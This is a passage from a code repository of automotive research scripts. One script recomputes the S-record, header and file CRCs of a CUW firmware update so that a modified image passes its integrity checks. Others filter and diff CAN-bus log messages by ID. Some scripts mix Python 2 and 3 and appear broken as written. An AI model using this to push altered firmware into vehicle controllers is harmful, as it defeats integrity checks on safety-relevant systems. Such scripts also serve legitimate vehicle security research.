32 | byte = data[i:i+2]
33 |
34 | data_checksum += int(byte, 16)
35 |
36 | #print "checksum: %02X" % (~data_checksum & 0xFF)
37 |
38 | return mot_str[:-2] + "%02X" % (~data_checksum & 0xFF)
39 |
40 | with open(f"{filename}.fixed", "wb+") as fixed_fp:
41 | with open(filename, "rb") as f:
42 |
43 | calibration_str = f.read(0x0D)
44 | fixed_fp.write(calibration_str)
45 |
46 | version = f.read(0x01)
47 | fixed_fp.write(version)
48 |
49 | header_body_crc32 = struct.unpack('>L', f.read(0x04))[0]
50 | fixed_fp.write(struct.pack('>L', header_body_crc32))
51 |
52 | file_len = struct.unpack('>L', f.read(0x04))[0]
53 | fixed_fp.write(struct.pack('>L', file_len))
54 |
55 | application_name_len = struct.unpack('>H', f.read(0x02))[0]
56 | fixed_fp.write(struct.pack('>H', application_name_len))
57 |
58 | application_name = f.read(application_name_len)
59 | fixed_fp.write(application_name)
60 |
61 | header_len = struct.unpack('>L', f.read(0x04))[0]
62 | fixed_fp.write(struct.pack('>L', header_len))
63 |
64 | saved_header_pos = f.tell()
65 |
66 | header_crc32 = struct.unpack('>L', f.read(0x04))[0]
67 |
68 | header = f.read(header_len)
69 |
70 | header_crc32_fixed = binascii.crc32(header)
71 |
72 | fixed_fp.write(struct.pack('>l', header_crc32_fixed))
73 | fixed_fp.write(header)
74 |
75 | print("Header CRC: %08X" % (header_crc32))
76 | print("Header Computed CRC: %08X" % (header_crc32_fixed & 0xFFFFFFFF))
77 |
78 | #should match the 'Number' in the CUW header
79 | number_of_cpus = f.read(0x01)
80 | fixed_fp.write(number_of_cpus)
81 |
82 | version_txt_file_len = struct.unpack('>H', f.read(0x02))[0]
83 | fixed_fp.write(struct.pack('>H', version_txt_file_len))
84 |
85 | version_txt_file = f.read(version_txt_file_len)
86 | fixed_fp.write(version_txt_file)
87 |
88 | s_format_len = header_len = struct.unpack('>L', f.read(0x04))[0]
89 | fixed_fp.write(struct.pack('>L', s_format_len))
90 |
91 | s_format_crc32 = header_len = struct.unpack('>L', f.read(0x04))[0]
92 |
93 | s_format_data = f.read(s_format_len)
94 | s_format_lines = s_format_data.split('\n')
95 | new_s_format_data = ""
96 | for s_line in s_format_lines:
97 | new_line = FixMotCRC(s_line.strip())
98 | new_s_format_data += new_line + "\r\n"
99 |
100 | #get rid of the last \r\n
101 | new_s_format_data = new_s_format_data[:-2]
102 |
103 | s_format_crc32_fixed = binascii.crc32(new_s_format_data)
104 | fixed_fp.write(struct.pack('>l', s_format_crc32_fixed))
105 |
106 | fixed_fp.write(new_s_format_data)
107 |
108 | print("Header CRC: %08X" % (s_format_crc32))
109 | print("Header Computed CRC: %08X" % (s_format_crc32_fixed))
110 |
111 |
112 | fixed_fp.seek(0x12)
113 | cuw_bytes = fixed_fp.read()
114 | cuw_crc32 = binascii.crc32(cuw_bytes)
115 |
116 | fixed_fp.seek(0x0E)
117 | fixed_fp.write(struct.pack('>l', cuw_crc32))
118 |
119 |
120 |
121 |
122 |
123 |
--------------------------------------------------------------------------------
/code/scripts/data_puller.py:
--------------------------------------------------------------------------------
1 | import sys
2 | from SFF import SFFMessage
3 |
4 | if __name__ == "__main__":
5 |
6 | if (len(sys.argv) < 3):
7 | print(f"Usage: {sys.argv[0]} <11-bit CAN ID>")
8 | print(f"Example1: {sys.argv[0]} input.dat output.dat 0025")
9 | print(f"Example2: {sys.argv[0]} input.dat output.dat 0025,0026,0027")
10 | print(f"Example3: {sys.argv[0]} input.dat output.dat 0025-02FF")
11 | sys.exit(1)
12 |
13 | #search types
14 | #1 == single ID
15 | #2 == multi-id
16 | #3 == range
17 | wid_search = 1
18 | wids = []
19 | low = 0
20 | high = 0
21 | input_file = sys.argv[1]
22 | output_file = sys.argv[2]
23 | find_wid = sys.argv[3]
24 |
25 | if (find_wid.find(',') != -1):
26 | ids = find_wid.split(",")
27 | wids.extend(wid.strip() for wid in ids)
28 | wid_search = 2
29 | elif(find_wid.find("-") != -1):
30 | ids = find_wid.split("-")
31 | low = int(ids[0].strip(), 16)
32 | high = int(ids[1].strip(), 16)
33 | wid_search = 3
34 |
35 | #input file to read debug lines from
36 | f = file(input_file, "r")
37 |
38 | msgs = []
39 | count = 0
40 | for line in f:
41 | msg = SFFMessage(line)
42 | if (msg.wid != 0):
43 | if (
44 | wid_search == 1
45 | and (msg.wid == find_wid)
46 | or wid_search != 1
47 | and wid_search == 2
48 | and (msg.wid in wids)
49 | ):
50 | count += 1
51 | msgs.append(line)
52 | #msgs.append(msg)
53 | elif wid_search != 1 and wid_search != 2 and wid_search == 3:
54 | wid = int(msg.wid, 16)
55 | if(wid >= low and wid <= high):
56 | count += 1
57 | msgs.append(line)
58 | #msgs.append(msg)
59 | f.close()
60 |
61 | #output file to write certain lines out
62 | f = file(output_file, "w")
63 |
64 | for found in msgs:
65 | f.write(str(found))
66 |
67 | f.close()
68 |
69 | print("Found %d messages that match %s" % (count, sys.argv[3]))
70 |
71 |
--------------------------------------------------------------------------------
/code/scripts/diff_ids.py:
--------------------------------------------------------------------------------
1 | import sys
2 | from SFF import SFFMessage
3 |
4 | filea_ids = []
5 | fileb_ids = []
6 | if (len(sys.argv) < 3):
7 | print(f"Usage: {sys.argv[0]} ")
8 | sys.exit(1)
9 |
10 | file_a = sys.argv[1]
11 | file_b = sys.argv[2]
12 |
13 | with open(file_a) as fpfilea:
14 | for line in fpfilea:
15 | sff_msg = SFFMessage(line.strip())
16 | if(sff_msg.wid not in filea_ids):
17 | filea_ids.append(sff_msg.wid)
18 | print("Found %d ids in %s" % (len(filea_ids), file_a))
19 |
20 | with open(file_b) as fpfileb:
21 | for line in fpfileb:
22 | sff_msg = SFFMessage(line.strip())
23 | if(sff_msg.wid not in fileb_ids):
24 | fileb_ids.append(sff_msg.wid)
25 | print("Found %d ids in %s\n" % (len(fileb_ids), file_b))
26 |
27 | fileb_ids_diff = [wid for wid in fileb_ids if wid not in filea_ids]
28 | filea_ids_diff = [wid for wid in filea_ids if wid not in fileb_ids]
29 | print(f"Only {file_a}")
30 | for wid in filea_ids_diff:
31 | print(wid)
32 |
33 | print(f"Only {file_b}")
34 | for wid in fileb_ids_diff:
35 | print(wid)
36 |
--------------------------------------------------------------------------------
/code/scripts/diff_lines.py:
--------------------------------------------------------------------------------
1 | import sys, getopt
2 | from SFF import SFFMessage
3 |
4 | output = ""
5 |
6 | optlist, args = getopt.getopt(sys.argv[1:], ':o:')
7 | if (len(args) < 2):
8 | print(f"Usage: {sys.argv[0]} [options] ")
9 | sys.exit(1)
10 |
11 | for o, a in optlist:
12 | #output mode to a file
13 | if o == "-o":
14 | output = a
15 |
16 | filea_msgs = []
17 | fileb_msgs = []
18 | file_a = args[0]
19 | file_b = args[1]
20 |
21 | with open(file_a) as fplock:
22 | for line in fplock:
23 | msg = SFFMessage(line)
24 | if(msg not in filea_msgs):
25 | filea_msgs.append(msg)
26 | with open(file_b) as fplock:
27 | for line in fplock:
28 | msg = SFFMessage(line)
29 | if(msg not in fileb_msgs):
30 | fileb_msgs.append(msg)
31 | fileb_msgs_diff = [msg for msg in fileb_msgs if msg not in filea_msgs]
32 | filea_msgs_diff = [msg for msg in filea_msgs if msg not in fileb_msgs]
33 | of = open(output, "w") if (output != "") else None
34 | filea_cnt = "Only %s [%d lines]" % (file_a, len(filea_msgs_diff))
35 | print(filea_cnt)
36 |
37 | if(of):
38 | of.write(filea_cnt + '\n')
39 |
40 | for msg in filea_msgs_diff:
41 | print(msg)
42 | if(of):
43 | of.write(str(msg) + '\n')
44 |
45 | print("\n")
46 | if(of):
47 | of.write('\n')
48 |
49 | fileb_cnt = "Only %s [%d lines]" % (file_b, len(fileb_msgs_diff))
50 | print(fileb_cnt)
51 |
52 | if(of):
53 | of.write(fileb_cnt + '\n')
54 |
55 | for msg in fileb_msgs_diff:
56 | print(msg)
57 | if(of):
58 | of.write(str(msg) + '\n')
59 |
60 | if(of):
61 | of.close()
62 |
--------------------------------------------------------------------------------
/code/scripts/find_diag_id.py:
--------------------------------------------------------------------------------
1 | import sys, getopt
2 | from SFF import SFFMessage
3 |
4 | verbose = True
5 | outputfile = ""
6 | optlist, args = getopt.getopt(sys.argv[1:], ':o:')
7 | if(len(args) < 1):
8 | print("Usage: %s [options] ")
9 | print("options:")
10 | print(" -o